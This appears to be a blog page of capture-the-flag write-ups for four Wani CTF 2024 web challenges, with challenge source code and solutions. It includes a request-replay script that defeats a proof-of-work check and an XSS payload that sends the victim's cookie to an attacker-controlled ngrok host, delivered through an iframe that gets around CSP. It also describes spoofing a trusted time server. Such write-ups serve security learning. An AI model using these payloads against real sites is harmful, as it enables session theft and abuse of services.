0xk4k45h1
Active Directory
Domain Enumeration
Kerberoast
Kerberos Delegation
LLMNR poisoning
SMB relay
CTF
0xL4ugh 2024
Arab Cyber War Games Qualifications 2024
CyCTF qualification 2024
ICMTC Qualification 2024
IEEE Victoris 2024
PortSwigger
Wani CTF 2024
HackTheBox
Machines
Devvortex
Drive
Editorial
Intuition
PC
Visual
Sherlock
Mobile Pentesting
Android
Android Basics
Android Dynamic Analysis
Android Static Analysis
Home
Contact
Copyright © 2024 |
Yankos
Home
>
CTF
> Wani CTF 2024
Now Loading ...
Wani CTF 2024
Web: pow (easy)
Description compute hash to get your flag. Flag Format: FLAG{…} Solution When we first open the challange we see this The checking works as a counter and works according to this js script function hash(input) { let result = input; for (let i = 0; i < 10; i++) { result = CryptoJS.SHA256(result); } return (result.words[0] & 0xFFFFFF00) === 0; } async function send(array) { document.getElementById("server-response").innerText = await fetch( "/api/pow", { method: "POST", headers: { "Content-Type": "application/json", }, body: JSON.stringify(array), } ).then((r) => r.text()); } let i = BigInt(localStorage.getItem("pow_progress") || "0"); async function main() { await send([]); async function loop() { document.getElementById( "client-status" ).innerText = `Checking ${i.toString()}...`; localStorage.setItem("pow_progress", i.toString()); for (let j = 0; j < 1000; j++) { i++; if (hash(i.toString())) { await send([i.toString()]); } } requestAnimationFrame(loop); } loop(); } main(); When the counter reaches a number such that (number & 0xFFFFFF00) === 0 The progress increases by one and also this request will be caught by burp and when we resend the same request the progress increase as we caught one of the desired numbers we can also make the array contains the same element multiple times and the progress will increase depending on the occurance of the number, but the array had limit about 50000 after that we get error invalid body Note that in case of too many requests we get Rate limit reached and status code 429 in this case we should wait. Let’s make a python script that sends the same request 1000000 times to complete the progress and get the flag import requests import json import logging import time # Configure logging logging.basicConfig( level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s', handlers=[ logging.FileHandler("pow_script.log"), logging.StreamHandler() ] ) # Constants URL = "https://web-pow-lz56g6.wanictf.org/api/pow" COOKIE = "pow_session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZXNzaW9uSWQiOiJjNWRiNjU1MC1lNTNlLTRiNjUtYTM3NC05MDUzNjk0YmY2YzgifQ.wOrQhP5rjdXj4VsR1IqBe-HqX3aRXYRiNS_Tt2Y05eA" # Create the payload payload = ["82738388"] * 50000 # Max i was able to send without getting the error invalid body, must be an array of strings # Headers headers = { "Host": "web-pow-lz56g6.wanictf.org", "Cookie": COOKIE, "Sec-Ch-Ua": '"Chromium";v="15", "Not.A/Brand";v="24"', "Sec-Ch-Ua-Platform": '"Linux"', "Sec-Ch-Ua-Mobile": "?0", "User-Agent": "Mozilla/5.0", "Content-Type": "application/json", "Accept": "*/*", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-Mode": "cors", "Accept-Encoding": "gzip, deflate, br", "Accept-Language": "en-US,en;q=0.9", "Priority": "u=1, i" } def send_data(): response = requests.post(URL, headers=headers, data=json.dumps(payload)) return response def main(): while True: try: response = send_data() if response.status_code == 200: logging.info(f"Data sent successfully. Server response: {response.text}") elif response.status_code == 429: logging.warning("Rate limit reached. Waiting for 30 seconds.") time.sleep(30) # Wait for 30 seconds before retrying else: logging.error(f"Error sending data: {response.status_code} - {response.text}") except Exception as e: logging.error(f"Exception occurred: {str(e)}") if __name__ == "__main__": main() and here is the output 2024-06-23 12:27:29,911 - INFO - Data sent successfully. Server response: progress: 50003 / 1000000 2024-06-23 12:27:33,215 - INFO - Data sent successfully. Server response: progress: 100003 / 1000000 2024-06-23 12:27:44,163 - INFO - Data sent successfully. Server response: progress: 150003 / 1000000 2024-06-23 12:27:47,618 - INFO - Data sent successfully. Server response: progress: 200003 / 1000000 2024-06-23 12:27:54,285 - INFO - Data sent successfully. Server response: progress: 250003 / 1000000 2024-06-23 12:28:01,104 - INFO - Data sent successfully. Server response: progress: 300003 / 1000000 2024-06-23 12:28:06,494 - INFO - Data sent successfully. Server response: progress: 350003 / 1000000 2024-06-23 12:28:10,626 - INFO - Data sent successfully. Server response: progress: 400003 / 1000000 2024-06-23 12:28:20,049 - INFO - Data sent successfully. Server response: progress: 450003 / 1000000 2024-06-23 12:28:26,677 - INFO - Data sent successfully. Server response: progress: 500003 / 1000000 2024-06-23 12:28:33,457 - INFO - Data sent successfully. Server response: progress: 550003 / 1000000 2024-06-23 12:28:38,442 - INFO - Data sent successfully. Server response: progress: 600003 / 1000000 2024-06-23 12:28:46,195 - INFO - Data sent successfully. Server response: progress: 650003 / 1000000 2024-06-23 12:28:52,165 - INFO - Data sent successfully. Server response: progress: 700003 / 1000000 2024-06-23 12:29:00,487 - INFO - Data sent successfully. Server response: progress: 750003 / 1000000 2024-06-23 12:29:05,970 - INFO - Data sent successfully. Server response: progress: 800003 / 1000000 2024-06-23 12:29:10,849 - INFO - Data sent successfully. Server response: progress: 850003 / 1000000 2024-06-23 12:29:16,914 - INFO - Data sent successfully. Server response: progress: 900003 / 1000000 2024-06-23 12:29:22,720 - INFO - Data sent successfully. Server response: progress: 950003 / 1000000 2024-06-23 12:29:24,469 - INFO - Data sent successfully. Server response: FLAG{N0nCE_reusE_i$_FUn} Congratzzzzzzzzzzzzz
CTF
· 2024-06-23
Web: One Day One Letter (normal)
Description Everything comes to those who wait. Flag Format: FLAG{…} Solution in This challange we have Time server and content server The time server from http import HTTPStatus from http.server import BaseHTTPRequestHandler, HTTPServer import json import time from Crypto.Hash import SHA256 from Crypto.PublicKey import ECC from Crypto.Signature import DSS key = ECC.generate(curve='p256') pubkey = key.public_key().export_key(format='PEM') class HTTPRequestHandler(BaseHTTPRequestHandler): def do_GET(self): if self.path == '/pubkey': self.send_response(HTTPStatus.OK) self.send_header('Content-Type', 'text/plain; charset=utf-8') self.send_header('Access-Control-Allow-Origin', '*') self.end_headers() res_body = pubkey self.wfile.write(res_body.encode('utf-8')) self.requestline else: timestamp = str(int(time.time())-60*60*24).encode('utf-8') h = SHA256.new(timestamp) signer = DSS.new(key, 'fips-186-3') signature = signer.sign(h) self.send_response(HTTPStatus.OK) self.send_header('Content-Type', 'text/json; charset=utf-8') self.send_header('Access-Control-Allow-Origin', '*') self.end_headers() res_body = json.dumps({'timestamp' : timestamp.decode('utf-8'), 'signature': signature.hex()}) self.wfile.write(res_body.encode('utf-8')) handler = HTTPRequestHandler httpd = HTTPServer(('', 5001), handler) httpd.serve_forever() The time server generates the current timestamp and signs with specific ECC key The conent server import json import os from datetime import datetime from http import HTTPStatus from http.server import BaseHTTPRequestHandler, HTTPServer from urllib.request import Request, urlopen from urllib.parse import urljoin from Crypto.Hash import SHA256 from Crypto.PublicKey import ECC from Crypto.Signature import DSS FLAG_CONTENT = os.environ.get('FLAG_CONTENT', 'abcdefghijkl') assert len(FLAG_CONTENT) == 12 assert all(c in 'abcdefghijklmnopqrstuvwxyz' for c in FLAG_CONTENT) def get_pubkey_of_timeserver(timeserver: str): req = Request(urljoin('https://' + timeserver, 'pubkey')) with urlopen(req) as res: key_text = res.read().decode('utf-8') return ECC.import_key(key_text) def get_flag_hint_from_timestamp(timestamp: int): content = ['?'] * 12 idx = timestamp // (60*60*24) % 12 content[idx] = FLAG_CONTENT[idx] return 'FLAG{' + ''.join(content) + '}' class HTTPRequestHandler(BaseHTTPRequestHandler): def do_OPTIONS(self): self.send_response(200, "ok") self.send_header('Access-Control-Allow-Origin', '*') self.send_header('Access-Control-Allow-Methods', 'POST, OPTIONS') self.send_header("Access-Control-Allow-Headers", "X-Requested-With") self.send_header("Access-Control-Allow-Headers", "Content-Type") self.end_headers() def do_POST(self): try: nbytes = int(self.headers.get('content-length')) body = json.loads(self.rfile.read(nbytes).decode('utf-8')) timestamp = body['timestamp'].encode('utf-8') signature = bytes.fromhex(body['signature']) timeserver = body['timeserver'] pubkey = get_pubkey_of_timeserver(timeserver) h = SHA256.new(timestamp) verifier = DSS.new(pubkey, 'fips-186-3') verifier.verify(h, signature) self.send_response(HTTPStatus.OK) self.send_header('Content-Type', 'text/plain; charset=utf-8') self.send_header('Access-Control-Allow-Origin', '*') self.end_headers() dt = datetime.fromtimestamp(int(timestamp)) res_body = f'''<p>Current time is {dt.date()} {dt.time()}.</p> <p>Flag is {get_flag_hint_from_timestamp(int(timestamp))}.</p> <p>You can get only one letter of the flag each day.</p> <p>See you next day.</p> ''' self.wfile.write(res_body.encode('utf-8')) self.requestline except Exception: self.send_response(HTTPStatus.UNAUTHORIZED) self.end_headers() handler = HTTPRequestHandler httpd = HTTPServer(('', 5000), handler) httpd.serve_forever() In the content server when we post the timestamp, signature and time server then it sends request to the timeserver to /pubkey endpoint to get the public key and then it verifies the signature using this key So u don’t need to think about the encrpytion as the content server does its magic alone u just sent him the time server which you will control in the json and he will ask the time server for the key without any problems Steps: run the time server locally run ngroc using ngroc http 5001 we used ngroc because the content server can’t see our local time server so ngroc works as port forwarder in the middle and we used port 5001 as it’s the port we use in the time server and http because it supports https and we need https because the content server has this line req = Request(urljoin('https://' + timeserver, 'pubkey')) and we see that it uses https with the time server you can send get request to get specific timestamp and the signature In the content server we POST the timestamp and signature we got and also the time server will be the ngroc IP as it’s our new time server and it works !! we can now get the whole flag as we control the time server by adding 606024 to the timestamp which equals one day in seconds repeat this until u get the flag: FLAG{lyingthetime} Congratzzzzz
CTF
· 2024-06-23
Web: Noscript (normal)
Description Ignite it to steal the cookie! Flag Format: FLAG{…} Solution We have the source code of this challange This is the main package main import ( "context" "fmt" "html/template" "net/http" "os" "regexp" "sync" "github.com/gin-gonic/gin" "github.com/google/uuid" "github.com/redis/go-redis/v9" ) type InMemoryDB struct { data map[string][2]string mu sync.RWMutex } func NewInMemoryDB() *InMemoryDB { return &InMemoryDB{ data: make(map[string][2]string), } } func (db *InMemoryDB) Set(key, value1, value2 string) { db.mu.Lock() defer db.mu.Unlock() db.data[key] = [2]string{value1, value2} } func (db *InMemoryDB) Get(key string) ([2]string, bool) { db.mu.RLock() defer db.mu.RUnlock() vals, exists := db.data[key] return vals, exists } func (db *InMemoryDB) Delete(key string) { db.mu.Lock() defer db.mu.Unlock() delete(db.data, key) } func main() { ctx := context.Background() db := NewInMemoryDB() redisAddr := fmt.Sprintf("%s:%s", os.Getenv("REDIS_HOST"), os.Getenv("REDIS_PORT")) redisClient := redis.NewClient(&redis.Options{ Addr: redisAddr, }) r := gin.Default() r.LoadHTMLGlob("templates/*") // Home page r.GET("/", func(c *gin.Context) { c.HTML(http.StatusOK, "index.html", gin.H{ "title": "Noscript!", }) }) // Sign in r.POST("/signin", func(c *gin.Context) { id := uuid.New().String() db.Set(id, "test user", "test profile") c.Redirect(http.StatusMovedPermanently, "/user/"+id) }) // Get user profiles r.GET("/user/:id", func(c *gin.Context) { c.Header("Content-Security-Policy", "default-src 'self', script-src 'none'") id := c.Param("id") re := regexp.MustCompile("^[a-fA-F0-9]{8}-[a-fA-F0-9]{4}-4[a-fA-F0-9]{3}-[8|9|aA|bB][a-fA-F0-9]{3}-[a-fA-F0-9]{12}$") if re.MatchString(id) { if val, ok := db.Get(id); ok { params := map[string]interface{}{ "id": id, "username": val[0], "profile": template.HTML(val[1]), } c.HTML(http.StatusOK, "user.html", params) } else { _, _ = c.Writer.WriteString("<p>user not found <a href='/'>Home</a></p>") } } else { _, _ = c.Writer.WriteString("<p>invalid id <a href='/'>Home</a></p>") } }) // Modify user profiles r.POST("/user/:id/", func(c *gin.Context) { id := c.Param("id") re := regexp.MustCompile("^[a-fA-F0-9]{8}-[a-fA-F0-9]{4}-4[a-fA-F0-9]{3}-[8|9|aA|bB][a-fA-F0-9]{3}-[a-fA-F0-9]{12}$") if re.MatchString(id) { if _, ok := db.Get(id); ok { username := c.PostForm("username") profile := c.PostForm("profile") db.Delete(id) db.Set(id, username, profile) if _, ok := db.Get(id); ok { c.Redirect(http.StatusMovedPermanently, "/user/"+id) } else { _, _ = c.Writer.WriteString("<p>user not found <a href='/'>Home</a></p>") } } else { _, _ = c.Writer.WriteString("<p>user not found <a href='/'>Home</a></p>") } } else { _, _ = c.Writer.WriteString("<p>invalid id <a href='/'>Home</a></p>") } }) // Get username API r.GET("/username/:id", func(c *gin.Context) { id := c.Param("id") re := regexp.MustCompile("^[a-fA-F0-9]{8}-[a-fA-F0-9]{4}-4[a-fA-F0-9]{3}-[8|9|aA|bB][a-fA-F0-9]{3}-[a-fA-F0-9]{12}$") if re.MatchString(id) { if val, ok := db.Get(id); ok { _, _ = c.Writer.WriteString(val[0]) } else { _, _ = c.Writer.WriteString("<p>user not found <a href='/'>Home</a></p>") } } else { _, _ = c.Writer.WriteString("<p>invalid id <a href='/'>Home</a></p>") } }) // Report API r.POST("/report", func(c *gin.Context) { url := c.PostForm("url") // URL to report, example : "/user/ce93310c-b549-4fe2-9afa-a298dc4cb78d" re := regexp.MustCompile("^/user/[a-fA-F0-9]{8}-[a-fA-F0-9]{4}-4[a-fA-F0-9]{3}-[8|9|aA|bB][a-fA-F0-9]{3}-[a-fA-F0-9]{12}$") if re.MatchString(url) { if err := redisClient.RPush(ctx, "url", url).Err(); err != nil { _, _ = c.Writer.WriteString("<p>Failed to report <a href='/'>Home</a></p>") return } if err := redisClient.Incr(ctx, "queued_count").Err(); err != nil { _, _ = c.Writer.WriteString("<p>Failed to report <a href='/'>Home</a></p>") return } _, _ = c.Writer.WriteString("<p>Reported! <a href='/'>Home</a></p>") } else { _, _ = c.Writer.WriteString("<p>invalid url <a href='/'>Home</a></p>") } }) if err := r.Run(); err != nil { panic(err) } } It has many functionalities POST /signin will signin for us a new user and it will generate its id directly then forward us to /user/id GET /user/:id It’s like user page contains data like username & profile (content security policy applied here) POST /user/:id Here we can modify the username and the profile of the user GET /username/:id It’s like user page contains data like username & profile (no content security policy here) POST /report It accepts url parameter which is /user/:id and there’s a crawler within the source code indicating that after reporting the /user/:id is fetched by the bot The code of the crawler const { chromium } = require("playwright"); const Redis = require("ioredis"); const connection = new Redis({ host: process.env.REDIS_HOST, port: process.env.REDIS_PORT, }); const APP_URL = process.env.APP_URL; // application URL const HOST = process.env.HOST; // HOST const FLAG = process.env.FLAG; // FLAG const crawl = async (path) => { const browser = await chromium.launch(); const page = await browser.newPage(); const cookie = [ { name: "flag", value: FLAG, domain: HOST, path: "/", expires: Date.now() / 1000 + 100000, }, ]; page.context().addCookies(cookie); try { await page.goto(APP_URL + path, { waitUntil: "domcontentloaded", timeout: 3000, }); await page.waitForTimeout(1000); await page.close(); } catch (err) { console.error("crawl", err.message); } finally { await browser.close(); console.log("crawl", "browser closed"); } }; (async () => { while (true) { console.log( "[*] waiting new url", await connection.get("queued_count"), await connection.get("proceeded_count"), ); await connection .blpop("url", 0) .then((v) => { const path = v[1]; console.log("crawl", path); return crawl(path); }) .then(() => { console.log("crawl", "finished"); return connection.incr("proceeded_count"); }) .catch((e) => { console.log("crawl", e); }); } })(); let’s see the site now When we first open the challange we see this when we click sign in it makes POST /signin and forwards us to /user/id fromn the code, the profile parameter is transelated as html entity "profile": template.HTML(val[1]) and we can see that in case we gave it value like <script>alert()</script> and this won’t happen to the username as it’s treated as normal string No alert Triggered cuz of the content security policy but in /username/id There’s no content security policy and it renders the value stored in the username so when we visit this endpoint the alert will be triggered Very Nice notes !! Back to Home page and you will see submit to admin which accepts /user/:id and reports this page to the admin and the admin bot(crawler) will fetch this page. The problem the there’s content security policy on /user/:id so there’s no xss triggered when the admin bot fetches this page. After looking at the code we can find that the content security policy is "default-src 'self', script-src 'none' which means that the resources which can loaded are from the same origin, so the profile parameter if we try using html entity that visits malicious this won’t work cuz the site must be in the same origin. The idea here is making The html entity in the profile visits /username/:id which doesn’t have any csp applied and the xss payload existing in the username can be triggered. So we can put XSS payload to steal cookie in the username field and in the profile field we put HTML entity that makes the crawler fetch /username/:id and triggers the XSS After trying we will find these parameters will work Username: <script>var i=new Image(); i.src="http://ngroc_ip:ngroc_port/?cookie="+btoa(document.cookie);</script> Profile: <iframe src="/username/:id"></iframe> we will start ngroc using ngroc tcp 4444 then listen on port 4444 after reporting we will find this the cookie on the port 4444 Congratzzzzzzzzzz
CTF
· 2024-06-23
Web: Bad_Worker (beginner)
Description We created a web application that works offline. Flag Format: FLAG{…} Solution When we first open the challange we see this After movement within the site, I found nothing interesting. Then i went to examine the JS files within the site. I found a file named service-worker.js with the content // Caution! Be sure you understand the caveats before publishing an application with // offline support. See https://aka.ms/blazor-offline-considerations self.importScripts('./service-worker-assets.js'); self.addEventListener('install', event => event.waitUntil(onInstall(event))); self.addEventListener('activate', event => event.waitUntil(onActivate(event))); self.addEventListener('fetch', event => event.respondWith(onFetch(event))); const cacheNamePrefix = 'offline-cache-'; const cacheName = `${cacheNamePrefix}${self.assetsManifest.version}`; const offlineAssetsInclude = [ /\.dll$/, /\.pdb$/, /\.wasm/, /\.html/, /\.js$/, /\.json$/, /\.css$/, /\.woff$/, /\.png$/, /\.jpe?g$/, /\.gif$/, /\.ico$/, /\.blat$/, /\.dat$/ ]; const offlineAssetsExclude = [ /^service-worker\.js$/ ]; async function onInstall(event) { //console.info('Service worker: Install'); // Fetch and cache all matching items from the assets manifest const assetsRequests = self.assetsManifest.assets .filter(asset => offlineAssetsInclude.some(pattern => pattern.test(asset.url))) .filter(asset => !offlineAssetsExclude.some(pattern => pattern.test(asset.url))) .map(asset => new Request(asset.url, { integrity: asset.hash, cache: 'no-cache' })); await caches.open(cacheName).then(cache => cache.addAll(assetsRequests)); event.waitUntil(self.skipWaiting()); // すぐにactivateにする } async function onActivate(event) { // Delete unused caches const cacheKeys = await caches.keys(); await Promise.all(cacheKeys .filter(key => key.startsWith(cacheNamePrefix) && key !== cacheName) .map(key => caches.delete(key))); event.waitUntil(self.clients.claim()); // すぐにserviceWorkerを有効にする } async function onFetch(event) { let cachedResponse = null; if (event.request.method === 'GET') { const shouldServeIndexHtml = event.request.mode === 'navigate'; let request = event.request; if (request.url.toString().includes("FLAG.txt")) { request = "DUMMY.txt"; } if (shouldServeIndexHtml) { request = "index.html" } return fetch(request); } return cachedResponse || fetch(event.request); } /* Manifest version: Rq/NTVa4 */ So We need to send a GET request to /FLAG.txt endpoint and we will get the flag Congratzzzzzzzzzzzzzzz
CTF
· 2024-06-23
<
>
Touch background to close